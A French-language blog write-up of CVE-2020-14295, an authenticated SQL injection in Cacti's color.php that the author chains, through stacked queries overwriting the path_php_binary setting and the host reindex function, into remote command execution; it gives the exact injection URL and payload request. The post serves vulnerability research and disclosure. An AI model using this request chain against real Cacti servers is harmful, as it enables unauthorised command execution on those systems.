Home CACTI - RCE Authenticated (CVE-2020-14295)
Post
Cancel

CACTI - RCE Authenticated (CVE-2020-14295)

cacti_logo

Description

Durant ma préparation pour l’exam de l’OSWE je cherchais un moyen de m’entrainer dans la recherche de vulnérabilités en whitebox. Du coup j’ai pris un produit open source sur étagère et j’ai commencé à chercher des vulns dessus.

Après un petit peu d’analyse statique j’ai découvert le code suivant dans color.php :

1
$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%' 

Il parait évident que ce genre de code est non sécurisé pour la création d’une requête SQL (non utilisation des requêtes paramétrées mais directement une concaténation de chaine de caractères avec un paramètre issu de l’utilisateur).

Une analyse des commits montre que cela touche les versions v1.2.7 à v1.2.12.

Exploit

  • On a donc une SQL injection en allant sur l’url suivante :
1
/cacti/color.php?action=export&header=false&filter=')<SQLI HERE>--+-
  • Je confirme en montant un cacti en local pour jouer avec BURP dessus et en activant les logs sur la base de donnée.

cacti SQLI

SQLI to RCE

  • Je me suis ensuite rendu compte que l’application accèpte les requêtes stackées (enchainement de plusieurs requêtes SQL séparées par des “;”). Ce comportement n’est pas le standard dans les applications PHP, mais quand c’est le cas il est souvent très interressant de voir jusque où l’exploitation peut aller, car on peut injecter facilement de la donnée en base.
  • J’ai donc cherché une fonction d’exécution de code se basant sur des valeurs extraites de la base de donnée.

  • Rapidement on se rend compte que la donnée path_php_binary issue de la configuration (table settings) est utilisées dans la création d’une commande système.
    1
    2
    3
    4
    5
    6
    
    function host_reindex() {
      global $config;
    
      $start = microtime(true);
    
      shell_exec(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/cli/poller_reindex_hosts.php --qid=all --id=' . get_filter_request_var('host_id'));
    
  • J’ai donc changé la requête pour modifier la valeurs dans la table settings.
    1
    
    GET /cacti/color.php?action=export&header=false&filter=1');update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+- 
    
  • Ensuite en appellant la fonction reindex (host.php?action=reindex) cela déclenche l’exécution de code à distance :

cacti RCE

et voilà !

This post is licensed under CC BY 4.0 by the author.